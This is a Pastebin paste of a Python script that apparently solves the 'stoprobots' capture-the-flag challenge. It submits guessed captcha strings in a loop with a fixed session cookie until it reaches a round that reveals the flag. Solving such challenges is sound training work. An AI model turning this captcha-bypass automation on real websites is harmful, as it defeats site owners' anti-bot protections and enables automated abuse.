SHARE
TWEET

Untitled

a guest Sep 19th, 2019 101 in 338 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import requests
  2. import time
  3. import copy
  4. import re
  5.  
  6. common_headers = {
  7.     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36',
  8.     'Host': 'stoprobots.ctf2019.rocks'
  9. }
  10.  
  11. jar = requests.cookies.RequestsCookieJar()
  12. jar.set('PHPSESSID', 'caef5c08d6fdba0b8e456b4f161ec733', domain='stoprobots.ctf2019.rocks', path='/')
  13.  
  14.  
  15. url = 'http://stoprobots.ctf2019.rocks'
  16.  
  17. line = '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  18.  
  19. def send_captcha(session, value, index, attempts=1):
  20.     post_headers = copy.copy(common_headers)
  21.     post_headers.update({
  22.         'Content-Type': 'application/x-www-form-urlencoded',
  23.     })
  24.     resp = session.post(url, data={'data': value}, headers=post_headers, cookies=jar)
  25.    
  26.     real_idx = int(re.findall('Round number = ([0-9]+)', str(resp.text))[0])
  27.     print(real_idx)
  28.     if real_idx <= index:
  29.         return False
  30.  
  31.     flag = re.findall('(WGCTF{[0-9a-zA-Z]+})', str(resp.text))
  32.     if flag:
  33.         print('FLAGGGGGGGGGGGGG   ', flag)
  34.  
  35.     return True
  36.  
  37.  
  38. def req(session, start, length, index, attempts=1):
  39.     if attempts > 3:
  40.         raise
  41.  
  42.     length = length if length > 3 else 3
  43.     line_start = start % len(line)
  44.     value = line[line_start: line_start + length]
  45.     line_start = length - len(value) % len(line)
  46.     line_end = length - len(value) % len(line)
  47.     value = value if len(value) == length else value + line[0: line_end]
  48.  
  49.     result = send_captcha(session, value, index)
  50.     if not result:
  51.         req(session, start - 1, length, index, attempts + 1)
  52.  
  53.  
  54. with requests.Session() as session:
  55.     index_headers = copy.copy(common_headers)
  56.     response = session.get(url, headers=index_headers, cookies=jar)
  57.     real_idx = int(re.findall('Round number = ([0-9]+)', str(response.text))[0])
  58.  
  59.     for index in range(1, 3000):
  60.         if real_idx > index:
  61.             continue
  62.         start = index
  63.         length = index % 10
  64.         req(session, start, length, index)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top